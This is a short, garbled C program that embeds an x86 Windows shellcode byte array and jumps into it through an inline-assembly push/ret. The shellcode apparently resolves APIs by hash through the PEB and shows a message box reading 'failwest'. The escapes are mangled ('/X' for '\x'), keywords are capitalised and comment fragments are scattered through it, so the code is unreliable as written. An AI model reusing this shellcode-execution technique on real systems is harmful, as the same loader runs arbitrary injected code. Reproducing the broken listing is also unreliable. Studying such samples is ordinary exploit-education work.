Int main ()
{
Char shellcode [] =
"/Xfc/x68/x6a/x0a/x38/x1e/x68/x63/x89/XD1/x4f/x68/x32/x74/x91/x0c"
"/X8b/xf4/x8d/x7e/xf4/x33/XDB/xb7/x04/x2b/xe3/x66/xbb/x33/x32/x53"
"/X68/x75/x73/X65/x72/x54/x33/xd2/x64/x8b/x5a/x30/x8b/x4b/x0c/x8b"
"/X49/x1c/x8b/x09/x8b/x69/x08/XAD/X3D/x6a/x0a/x38/x1e/x75/x05/x95"
"/XFF/x57/xf8/x95/X60/x8b/x45/x3c/x8b/x4c/x05/x78/x03/XCD/x8b/x59"
"/X20/x03/xdd/x33/xFF/x47/x8b/x34/xbb/x03/xf5/x99/x0f/xbe/x06/x3a"
"/Xc4/x74/x08/xc1/xca/x07/x03/xd0/X46/xeb/xf1/x3b/x54/x24/x1c/x75"
"/Xe4/x8b/x59/x24/x03/xdd/x66/x8b/x3c/x7b/x8b/x59/x1c/x03/xdd/x03"
"/X2c/xbb/x95/x5f/XAB/x57/x61/X3D/x6a/x0a/x38/x1e/x75/xa9/x33/XDB"
"/X53/x68/x77/X65/x73/x74/x68/x66/x61/x69/x6c/x8b/xc4/x53/x50/x50"
"/X53/xFF/x57/xfc/x53/xFF/x57/xf8 ";
************ ********/
//Void (* proc) () = (void *) shellcode;
//(* Proc )();
/*************************************** ***********/
*********** ********/
_ ASM {
Lea eax, shellcode
Push eax;
RET
}
/*************************************** ***********/
Return 0;
}